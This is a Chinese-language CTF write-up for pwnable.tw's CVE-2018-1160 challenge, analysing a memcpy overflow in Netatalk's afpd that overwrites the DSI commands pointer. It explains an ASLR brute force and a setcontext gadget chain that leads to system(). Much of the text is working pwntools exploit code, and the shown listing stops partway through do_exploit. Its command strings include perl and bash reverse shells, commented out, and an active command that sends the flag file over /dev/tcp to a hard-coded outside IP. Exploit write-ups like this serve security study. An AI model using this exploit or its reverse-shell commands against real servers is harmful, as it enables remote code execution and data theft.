Posts pwnable.tw CVE-2018-1160
Post
Cancel

pwnable.tw CVE-2018-1160

pwnable.tw于2020年新增题目CVE-2018-1160,分值100,题目曾出现在hitcon2019,1day漏洞利用。漏洞源自于一款开源的苹果AFP(Apple Filing Protocol)协议服务器程序Netatalk。和xuanxuan一起做了这道题。

可参考wp如下:

0x00 程序分析

题目信息

question 题目提供了如下信息:

  • 老版本的Netatalk包含了一些1day漏洞,比如CVE-2018-1160。查询后发现漏洞对应的程序版本为netatalk 3.1.11
  • 提供了服务器内核版本
  • libc,版本为2.27,除Partial RELRO外,保护全开
  • 程序afpd,保护全开
  • 程序依赖库libatalk.so.18,除Partial RELRO外,保护全开
  • 程序配置文件afp.conf,内容包括监听端口(5566),超时时间(0),最大连接数(1000),sleep time(0)

checksec_libcchecksec_afpd checksec_libatalkafpdconf

程序加载

ubuntu 18.04环境下执行:

LD_PRELOAD=./libc-2.27.so LD_LIBRARY_PATH=./ ./afpd -d -F ./afp.conf

程序流程

dsi_start()

main()函数首先进行一系列初始化工作,包括解析配置文件,初始化socket、初始化dsi结构体等,之后调用dsi_start()函数。该函数首先调用dsi_getsession()函数获取TCP会话,解析请求消息,之后调用afp_over_dsi()函数进行会话内容的处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit (0);
    }

    return child;
}

dsi_getsession()

该函数开启一个DSI会话,从TCP socket接收会话消息,保存至结构体DSI中。 函数首先调用dsi->proto_open(dsi)进行TCP消息的接收和处理,该函数实体为dsi_tcp_open()。根据返回值是父进程还是子进程,进入不同的处理逻辑。父进程则直接返回,继续监听,子进程则进入之后的DSI消息处理逻辑,根据dsi_command的值(下面在结构体中介绍),选择不同的处理方式,若dsi_command为DSIFUNC_OPEN,则调用dsi_opensession()函数,初始化DSI会话。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{

  ......

  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
  case -1:
    /* if we fail, just return. it might work later */
    LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
    return -1;

  case 0: /* child. mostly handled below. */
    break;

  default: /* parent */
    /* using SIGKILL is hokey, but the child might not have
     * re-established its signal handler for SIGTERM yet. */

    ......

    dsi->proto_close(dsi);
    *childp = child;
    return 0;
  }
  
  ......

  switch (dsi->header.dsi_command) {
  case DSIFUNC_STAT: /* send off status and return */
    ......
    
  case DSIFUNC_OPEN: /* setup session */
    /* set up the tickle timer */
    dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
    dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
    dsi_opensession(dsi);
    *childp = NULL;
    return 0;

  default: /* just close */
    LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
    dsi->proto_close(dsi);
    exit(EXITERR_CLNT);
  }
}

两个重要结构体

先介绍两个重要的结构体。其中dsi_block为dsi消息头部,DSI结构体保存了会话的所有重要信息,其中commands指针指向了TCP会话发送来的命令消息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#define DSI_BLOCKSIZ 16
struct dsi_block {
    uint8_t dsi_flags;       /* packet type: request or reply */
    uint8_t dsi_command;     /* command */
    uint16_t dsi_requestID;  /* request ID */
    union {
        uint32_t dsi_code;   /* error code */
        uint32_t dsi_doff;   /* data offset */
    } dsi_data;
    uint32_t dsi_len;        /* total data length */
    uint32_t dsi_reserved;   /* reserved field */
};

#define DSI_DATASIZ       65536

/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;          /* in the middle of writing multiple packets,
                                   signal handlers can't write to the socket */
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

#ifdef USE_ZEROCONF
    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
    int zeroconf_registered;
#endif

    /* protocol specific open/close, send/receive
     * send/receive fill in the header and use dsi->commands.
     * write/read just write/read data */
    pid_t  (*proto_open)(struct DSI *);
    void   (*proto_close)(struct DSI *);
} DSI;

dsi_tcp_open()

该函数首先会调用fork()函数建立新的子进程,并在子进程中执行如下逻辑:先从TCP会话中读取DSI header到结构体dsi->header,之后读取DSI payload内容放在dsi->commands指向的buf中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
static pid_t dsi_tcp_open(DSI *dsi)
{
    pid_t pid;
    SOCKLEN_T len;

    len = sizeof(dsi->client);
    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);

    ......

    if (dsi->socket < 0)
        return -1;

    getitimer(ITIMER_PROF, &itimer);
    /* 建立子进程 */
    if (0 == (pid = fork()) ) { /* child */
        static struct itimerval timer = { {0, 0}, {DSI_TCPTIMEOUT, 0}};
        struct sigaction newact, oldact;
        uint8_t block[DSI_BLOCKSIZ];
        size_t stored;
    
    ......

        dsi_init_buffer(dsi);

        /* read in commands. this is similar to dsi_receive except
         * for the fact that we do some sanity checking to prevent
         * delinquent connections from causing mischief. */

        /* 先读两个字节 */
        len = dsi_stream_read(dsi, block, 2);
        if (!len ) {
            /* connection already closed, don't log it (normal OSX 10.3 behaviour) */
            exit(EXITERR_CLOSED);
        }
        if (len < 2 || (block[0] > DSIFL_MAX) || (block[1] > DSIFUNC_MAX)) {
            LOG(log_error, logtype_dsi, "dsi_tcp_open: invalid header");
            exit(EXITERR_CLNT);
        }

        /* 读取DSI header剩下内容 */
        stored = 2;
        while (stored < DSI_BLOCKSIZ) {
            len = dsi_stream_read(dsi, block + stored, sizeof(block) - stored);
            if (len > 0)
                stored += len;
            else {
                LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
                exit(EXITERR_CLNT);
            }
        }

        /* 将DSI header的内容依次赋值给dsi-header结构体 */
        dsi->header.dsi_flags = block[0];
        dsi->header.dsi_command = block[1];
        memcpy(&dsi->header.dsi_requestID, block + 2,
               sizeof(dsi->header.dsi_requestID));
        memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
        memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
        memcpy(&dsi->header.dsi_reserved, block + 12,
               sizeof(dsi->header.dsi_reserved));
        dsi->clientID = ntohs(dsi->header.dsi_requestID);

        /* make sure we don't over-write our buffers. */
        dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

        /* 读取payload内容到commands指针指向的buf中 */
        stored = 0;
        while (stored < dsi->cmdlen) {
            len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
            if (len > 0)
                stored += len;
            else {
                LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
                exit(EXITERR_CLNT);
            }
        }

    ......

    /* send back our pid */
    return pid;
}

dsi_opensession()

dsi_tcp_open()执行过后,数据已接收至DSI结构体中。之后返回dsi_getsession()函数,若当前是子进程,则调用opensession()函数处理,父进程就直接返回继续监听socket。dsi_opensession()函数首先根据commands[0]的内容决定处理逻辑,若为DSIOPT_ATTNQUANT,则执行memcpy,以commands[1]为大小,将commands[2]之后的内容拷贝至DSI结构体的attn_quantum成员变量(4 bytes)。之后程序会构建新的DSI消息到dsi->commands中,将server_quantum的值返回给客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void dsi_opensession(DSI *dsi)
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;

    ......

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }

  /* let the client know the server quantum. we don't use the
   * max server quantum due to a bug in appleshare client 3.8.6. */
  dsi->header.dsi_flags = DSIFL_REPLY;
  dsi->header.dsi_data.dsi_code = 0;
  /* dsi->header.dsi_command = DSIFUNC_OPEN;*/

  dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */

  /* DSI Option Server Request Quantum */
  dsi->commands[0] = DSIOPT_SERVQUANT;
  dsi->commands[1] = sizeof(i);
  i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN || 
	      dsi->server_quantum > DSI_SERVQUANT_MAX ) ? 
	    DSI_SERVQUANT_DEF : dsi->server_quantum);
  memcpy(dsi->commands + 2, &i, sizeof(i));

  /* AFP replaycache size option */
  offs = 2 + sizeof(i);
  dsi->commands[offs] = DSIOPT_REPLCSIZE;
  dsi->commands[offs+1] = sizeof(i);
  i = htonl(REPLAYCACHE_SIZE);
  memcpy(dsi->commands + offs + 2, &i, sizeof(i));
  dsi_send(dsi);
}

afp_over_dsi()

之后,子进程返回至dsi_start()函数,调用afp_over_dsi()函数,该函数负责在当前socket下继续读取消息,并根据消息调用不同的处理函数,实现AFP协议的通信。由于函数体较大,这里只放出重要的内容。函数首先调用了dsi_stream_receive(),从当前socket读取新消息,之后根据消息内容返回DSI header中的dsi_command。根据dsi_command值的不同,走不同的switch分支,其中当dsi_command为DSIFUNC_CMD时,会以commands[0]为index,从afp_switch这个全局的函数数组中选择对应的处理函数,处理commands数据。afp_switch这个全局的变量,在初始时赋值为preauth_switch,其中只包含认证前能访问的函数,在通过认证之后,会变为postauth_switch,可访问认证后的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void afp_over_dsi(AFPObj *obj){
    DSI *dsi = (DSI *) obj->dsi;
    int rc_idx;
    uint32_t err, cmd;
    uint8_t function;

    ......

    while(1){
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);

        switch(cmd) {
        case DSIFUNC_CLOSE:
            LOG(log_debug, logtype_afpd, "DSI: close session request");
            afp_dsi_close(obj);
            LOG(log_note, logtype_afpd, "done");
            exit(0);

        case DSIFUNC_TICKLE:
            ......

        case DSIFUNC_CMD:
            function = (u_char) dsi->commands[0];
            if (afp_switch[function]) {
                ......
                err = (*afp_switch[function])(obj,
                                                  (char *)dsi->commands, dsi->cmdlen,
                                                  (char *)&dsi->data, &dsi->datalen);
                ......
            }
        }
        ......
    }
    ......
}

dsi_stream_receive()

该函数从当前socket继续读取消息并保存在结构体中。具体地,先读取DSI header并保存到dsi->header结构体中,然后读取后续DSI payload保存到dsi->commands指向的buffer当中,长度由dsi->cmdlen指定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int dsi_stream_receive(DSI *dsi)
{
  char block[DSI_BLOCKSIZ];

  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

  if (dsi->flags & DSI_DISCONNECTED)
      return 0;

  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) 
    return 0;

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];

  if (dsi->header.dsi_command == 0)
      return 0;

  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);
  
  /* make sure we don't over-write our buffers. */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

  /* Receiving DSIWrite data is done in AFP function, not here */
  if (dsi->header.dsi_data.dsi_doff) {
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
  }

  /* 将header之后的payload读取到commands指向的内存中 */
  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;

  LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

  return block[1];
}

0x01 漏洞

首先在dsi_opensession()函数中,会以commands[1]的值为大小,将commands[2]之后的内容通过memcpy拷贝至DSI结构体的attn_quantum成员变量(4 bytes)。这里可以看出,程序开发者本意是想拷贝4个字节内容至attn_quantum变量,但是由于memcpy长度是攻击者可自定义的(commands[1],最大值为255),因此攻击者可以覆盖attn_quantum之后变量的内容。再来看一下结构体这部分的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define DSI_DATASIZ       65536

typedef struct DSI {
    ......

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;

    ......

} DSI;

可以看出,攻击者可以覆盖attn_quantum,datasize,server_quantum,serverID,clientID,commands,以及data数组的部分内容。这里面commands为一个指针,通过注释可以看出,该指针为接收DSI payload数据部分的buffer,可以覆盖为任意的值。若之后可以向该指针指向buffer中读取数据,那就可以实现任意地址写。向指针指向buffer读取数据的动作位于dsi_stream_receive()函数中。因此,我们可以通过在同一个socket中发送两次DSI消息,实现任意地址写:第一次发送的消息,覆盖commands指针为目标地址(如free_hook地址);第二次发送的消息,触发dsi_stream_receive()函数,向目标地址中写入任意内容,长度可由dsi->header.dsi_len指定。

0x02 获取目标地址

由于程序开了全保护(包括ASLR PIE),因此lib地址、程序基址都是随机的,若想获取目标地址(如free_hook,malloc_hook等),需要我们首先通过地址泄露等漏洞获取libc基址。程序并未找到其余的地址泄露漏洞。

然而,虽然程序开启了地址随机化,但是由于每次新的TCP连接都是通过fork启动的子进程来处理,而子进程和父进程的地址空间是相同的,因此这个随机化实际上并不够随机,可以通过爆破的方式猜出地址。具体的方法是:从低位开始,依次覆盖commands指针的各个字节。当修改后的commands指针是一个可写的地址时,dsi_opensession()函数可以将server_quantum的值放进来并返回给我们,否则,子进程会由于访问不可写的地址而崩溃,socket异常。故,可以通过观察服务器是否给我们返回来确定当前我们是否爆破出一个合法的地址。

那么即使我们最终爆破出一个合法的地址,那么这个地址有什么含义?又如何通过该地址找到libc的基址呢?

首先先看一下commands指针的初始地址。该指针是由dsi_init_buffer()函数初始化的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void dsi_init_buffer(DSI *dsi)
{
    if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }

    /* dsi_peek() read ahead buffer, default is 12 * 300k = 3,6 MB (Apr 2011) */
    if ((dsi->buffer = malloc(dsi->dsireadbuf * dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }
    dsi->start = dsi->buffer;
    dsi->eof = dsi->buffer;
    dsi->end = dsi->buffer + (dsi->dsireadbuf * dsi->server_quantum);
}

从代码中可以看出,commands指针指向一块malloc(server_quantum)分配的地址,即这是一块堆地址。但是,server_quantum的初始值是DSI_SERVQUANT_DEF,0x100000L,超过了brk的分配范围,因此是mmap分配的内存空间。通过本地调试,该地址相对于libc的地址的偏移,在同一个系统下是固定的,位于libc下方不远处: malloc_addr mmap_addr 网上部分wp认为,该地址即为泄露出的地址,只要通过爆破猜解出该地址,自然可以通过减去偏移获取libc地址。然而,这个爆破出来的地址,并不一定是commands指针所对应的地址,更不一定是mmap的基址。如果对于每一个自己从255向0爆破,那么最后爆破出来的地址是一个比commands更高的地址;如果从0向255爆破,那么最后爆破出来的地址是一个比commands更低的地址,并且还有可能比libc的地址还要低。只要这个地址是可写的,又正好在我们的爆破路径上,那么结果就可能会是它。这里我们先不管这么多,先爆破出来再说,具体之后怎么用,下面再讲。爆破代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def bruteforce():
    leak_addr = b''
    flag_str = struct.pack('>I', FLAG_VAL)
    # num = 0
    while len(leak_addr) < 6:
        # from 255 to 0 for each byte, get an address that is below libc_base
        for i in range(255, -1, -1):
            io = remote(IP, PORT)
            cur_byte = p8(i)
            addr = leak_addr + cur_byte
            reply = replaceCommandPtr(io, addr)
            if reply is None:
                io.close()
                continue
            if flag_str in reply:
                io.close()
                print('Find! {}'.format(hex(i)))
                leak_addr += cur_byte
                break
    # print(leak_addr)
    mmap_addr = u64(leak_addr.ljust(8, b'\x00'))   # 0x7fxxxxxfff, add 1
    return mmap_addr+1

这里我们选择了从255向0的方向爆破,目的是保证获取的地址一定比libc的地址更高,在libc之后。这样在之后计算libc地址的时候,只用考虑减去偏移即可,而不用考虑加上偏移的情况。最后将爆破出的地址+1是因为,我们从最低位的255开始爆破,结果肯定是0x7fxxxxxfff的形式,因为内存是分页的,一页4096(0x1000)字节,其性质肯定相同,不会出现在一页中即有可读又有可写的情况。加上1之后保证地址页对齐,方便后面定位libc基址。

这样对目标服务器进行爆破,爆破出的地址是:0x7fa9bcc90000

0x03 再次爆破

上面爆破出来的地址,即使知道了目标系统内核版本,也很难确定其与libc之间的偏移,因为爆破的结果随机性很强,可能只是某个可写的内存区域而已。但是,上面的爆破过程已经保证该地址位于libc及mmap之后更高的地址之中,并且多次实验发现,在libc和这个mmap地址之后的内存空间,只剩下一个ld(再往后便是stack、vdso等的地址,位于更高的位置,在此不再考虑),也就是说,虽然地址不确定,但是内存的布局是确定的。而且,多次实验结果表明,libc基址到最后一个可访问地址之间的偏移在同一台机器上是固定的。如下图,在我ubuntu 18.04.6,内核版本4.9.0的vps中(按照题目环境模拟),加载题目提供的libc,偏移是0x61D000。而如果使用系统自带的libc,偏移可能在0xED6000。 offset1 offset2 但是,不论什么系统,这个偏移的值不会太大,而内存页大小0x1000,因此,对于偏移值,我们可以从0开始,以0x1000为步长打exp,一直打到0x1000000。如果怕不保险,那就打到0xffff000,总有一次能够成功,即这次leak_addr - offset == libc_base

0x04 利用

现在已经知道如何获取libc的基地址了,剩下的就是具体的利用方法。参考了其他人的wp。

基本思路是:将commands指针覆盖为__free_hook的地址,之后想办法控参(控制rdi寄存器的内容),最后想办法调用free函数即可。在这里面,地址覆盖可以通过上述漏洞实现,调用free函数可以通过直接关闭socket来实现(关socket肯定会有调用free函数吧。。),重点在于如何控参。关于控参的方法,我之前没什么经验,这次学习,发现有人使用了类似SROP中的方法来实现,即调用setcontext函数来控制寄存器的内容,具体来说是从setcontext+53这个位置开始实现寄存器控制。在此记录一下这一过程。

数据包构建

根据源码分析AFP协议格式。协议消息分为header + payload,其中header的格式可以从源码中分析出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* What a DSI packet looks like:
   0                               32
   |-------------------------------|
   |flags  |command| requestID     |
   |-------------------------------|
   |error code/enclosed data offset|
   |-------------------------------|
   |total data length              |
   |-------------------------------|
   |reserved field                 |
   |-------------------------------|

   CONVENTION: anything with a dsi_ prefix is kept in network byte order.
*/

本题的利用需要在同一个socket内发两个TCP数据包,第一个数据包的payload也分为两部分:cmd_header和cmd_payload,其中cmd_header由两个字节组成,第一个字节为cmd options,当值为DSIOPT_ATTNQUANT(0x01)时才能触发漏洞,第二个字节为cmd_payload长度,可控,使得memcpy越界。

第二个数据包的payload部分,第一个字节是function index,指向afp_switch函数数组中一个单元,设为0即可。构建数据包的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def createDSIHeader(command, payload):
    dsi_header = b'\x00'  # dsi_flags, DSIFL_REQUEST
    dsi_header += command  # dsi_command
    dsi_header += b'\x01\x00'  # dsi_requestID
    dsi_header += p32(0)  # dsi_data
    dsi_header += struct.pack(">I", len(payload))  # dsi_len
    dsi_header += p32(0)  # dsi_reserved
    return dsi_header

def replaceCommandPtr(io, addr):
    cmd_payload = p32(0)  # attn_quantum
    cmd_payload += p32(0)  # datasize
    cmd_payload += p32(FLAG_VAL)  # server_quantum
    cmd_payload += p32(0)  # serverID & clientID
    cmd_payload += addr  # **************** commands ptr ****************
    cmd_header = b'\x01'  # DSIOPT_ATTNQUANT
    cmd_header += p8(len(cmd_payload))
    dsifunc_open = b'\x04'  # DSIFUNC_OPEN
    dsi_header = createDSIHeader(dsifunc_open, cmd_header + cmd_payload)
    msg = dsi_header + cmd_header + cmd_payload
    io.send(msg)
    try:
        reply = io.recv()
        return reply
    except:
        return None

def aaw(io, payload):
    dsifunc_cmd = b'\x04'                          # 
    dsi_payload = b'\x00'                          # 
    dsi_payload += payload
    dsi_header = createDSIHeader(dsifunc_cmd, dsi_payload)
    msg = dsi_header + dsi_payload
    io.send(msg)

几个gadgets

1. setcontext + 53

setcontext53 上图可以看出,从setcontext+53开始的位置,对各个寄存器进行赋值,直到最后的retn。这个gadget的优势就是可以控各个寄存器的值。各个值的来源是rdi所指向的地址之后的部分内容,因此,还需要我们能够控制rdi寄存器以及rdi指向内存当中的内容。这在CTF堆题目中很好用,因为free函数的参数(rdi)正好是一块内存的起始地址。但是在如本题一样的real world中,free函数的参数内容通常较难控制。因此,我们在调用setcontext+53之前,还需要两个要求:rdi寄存器可控rdi指向的内存空间可控

2. libc_dlopen_mode + 56

首先要获取一块可控的内存空间,并将其地址赋值给某个寄存器,为后续gadget拼接做准备。这个gadget的用途就是如此。该段代码如下:

1
2
mov     rax, cs:_dl_open_hook
call    qword ptr [rax]

不知道这个gadget最早是如何被发现的,猜测可能是_dl_open_hook这个全局变量正好位于__free_hook下方的不远处(+0x2BC0),在填充__free_hook的时候可以一并填充掉,用起来比较方便,并且正好有这个可用的gadget。gadget首先把_dl_open_hook内的值(并不是_dl_open_hook的地址)赋值给rax,然后以该值1为地址取值2,跳转到值2对应的地址。

3. fgetpos64 + 207

有了上述gadget之后,要做的就是如何把rax赋值给rdi,这种gadget应该比较好找。ROPgadget --binary libc-2.27.so --only "mov|call" | grep "mov rdi, rax"可以找到一些相关的gadget,其中可用的如下:

1
2
mov rdi, rax ; call qword ptr [rax + 0x20]
mov rdi, rax ; call qword ptr [rax + 8]

第一个即为fgetpos64 + 207。至此,我们可以成功拼接出完整的ROP链,即:libc_dlopen_mode+56 -> fgetpos64+207 -> setcontext+53。

布局

布局如图: layout 虽然gadget只有三个,但是布局还是有点复杂,需要注意的是:

  • libc_dlopen_mode + 56处是把_dl_open_hook内的值赋值给rax,而不是其地址赋值给rax
  • 因此赋值之后,rax=rdi的值为[_dl_open_hook] = _dl_open_hook+8
  • 跳转到setcontext+53后,rdi的值是_dl_open_hook+8,距离sigframe的地址0x28字节,因此在用SigreturnFrame()布局sigframe时,需要跳过前0x28字节
  • 布局sigframe时,rsp需要是一个可写的内存地址,为了保证system函数正确执行

0x05 exploit

这里需要说明的一个地方是,本地的两轮爆破贼慢,通过题目提示的服务器内核版本可以看出来,服务器是linode申请的。因此,我也申请了一台linode的服务器,一开始是想搭一个完全相同的服务器环境来看偏移,但是后来发现偏移没什么用。在打exp的时候发现,在linode的vps上打pwnable的服务器,速度非常快,甚至比我在本地虚拟机打localhost:5566都要快得多。怀疑vps之间可能共用了同一台性能超强的宿主机?以下exp大概40s左右就出结果了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from pwn import *

context(arch='amd64', os='linux', log_level='error')
FLAG_VAL = 0xdeadbeef
R_IP = b'47.240.70.54'
R_PORT = 8000
# CMD = b'perl -e \'use Socket;$i="47.240.70.54";$p=8000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\' \x00'
# CMD = b'bash -c "bash  -i>& /dev/tcp/%s/%d 0<&1" \x00' % (R_IP, R_PORT)
CMD = b'bash -c "cat /home/netatalk/flag > /dev/tcp/%s/%d" \x00' % (R_IP, R_PORT)
DEBUG = 1
if DEBUG:
    IP = '127.0.0.1'
    PORT = 5566
else:
    # IP = '172.104.74.53'
    # PORT = 5566
    IP = 'chall.pwnable.tw'
    PORT = 10002
libc_bin = ELF('./libc-2.27.so')


def createDSIHeader(command, payload):
    dsi_header = b'\x00'  # dsi_flags, DSIFL_REQUEST
    dsi_header += command  # dsi_command
    dsi_header += b'\x01\x00'  # dsi_requestID
    dsi_header += p32(0)  # dsi_data
    dsi_header += struct.pack(">I", len(payload))  # dsi_len
    dsi_header += p32(0)  # dsi_reserved
    return dsi_header


def replaceCommandPtr(io, addr):
    cmd_payload = p32(0)  # attn_quantum
    cmd_payload += p32(0)  # datasize
    cmd_payload += p32(FLAG_VAL)  # server_quantum
    cmd_payload += p32(0)  # serverID & clientID
    cmd_payload += addr  # **************** commands ptr ****************
    cmd_header = b'\x01'  # DSIOPT_ATTNQUANT
    cmd_header += p8(len(cmd_payload))
    dsifunc_open = b'\x04'  # DSIFUNC_OPEN
    dsi_header = createDSIHeader(dsifunc_open, cmd_header + cmd_payload)
    msg = dsi_header + cmd_header + cmd_payload
    io.send(msg)
    try:
        reply = io.recv()
        return reply
    except:
        return None


def bruteforce():
    leak_addr = b''
    flag_str = struct.pack('>I', FLAG_VAL)
    # num = 0
    while len(leak_addr) < 6:
        # from 255 to 0 for each byte, get an address that is below libc_base
        for i in range(255, -1, -1):
            io = remote(IP, PORT)
            cur_byte = p8(i)
            addr = leak_addr + cur_byte
            reply = replaceCommandPtr(io, addr)
            if reply is None:
                io.close()
                continue
            if flag_str in reply:
                io.close()
                print('Find! {}'.format(hex(i)))
                leak_addr += cur_byte
                break
    # print(leak_addr)
    mmap_addr = u64(leak_addr.ljust(8, b'\x00'))   # 0x7fxxxxxfff, add 1
    return mmap_addr+1


def aaw(io, payload):
    dsifunc_cmd = b'\x04'           # DSIFUNC_OPEN
    dsi_payload = b'\x00'
    dsi_payload += payload
    dsi_header = createDSIHeader(dsifunc_cmd, dsi_payload)
    msg = dsi_header + dsi_payload
    io.send(msg)


def do_exploit(leak_addr, offset, cmd):
    libc_base = leak_addr - offset
    print('libc_base: {}'.format(hex(libc_base)))
    free_hook = libc_base + libc_bin.sym['__free_hook']
    dl_open_hook = libc_base + libc_bin.sym['_dl_open_hook']
    system_addr = libc_base + libc_bin.sym['system']
    setcontext_53 = libc_base + 0x520A5
    '''
         # put the value of _dl_open_hook into rax, then call the [rax]. That means call **_dl_open_hook
         mov     rax, cs:_dl_open_hook
         call    qword ptr [rax]
    '''
    libc_dlopen_mode_56 = libc_base + 0x166488
    '''
         # control rdi to do SROP
         mov     rdi, rax
         call    qword ptr [rax+20h]
    '''
    fgetpos64_207 = libc_base + 0x7EA1F

    io = remote(IP, PORT)
    replaceCommandPtr(io, p64(free_hook - 0x10))        # 0x10: 1 byte func idx, 0xF bytes padding
    # print('commands ptr has been changed....')

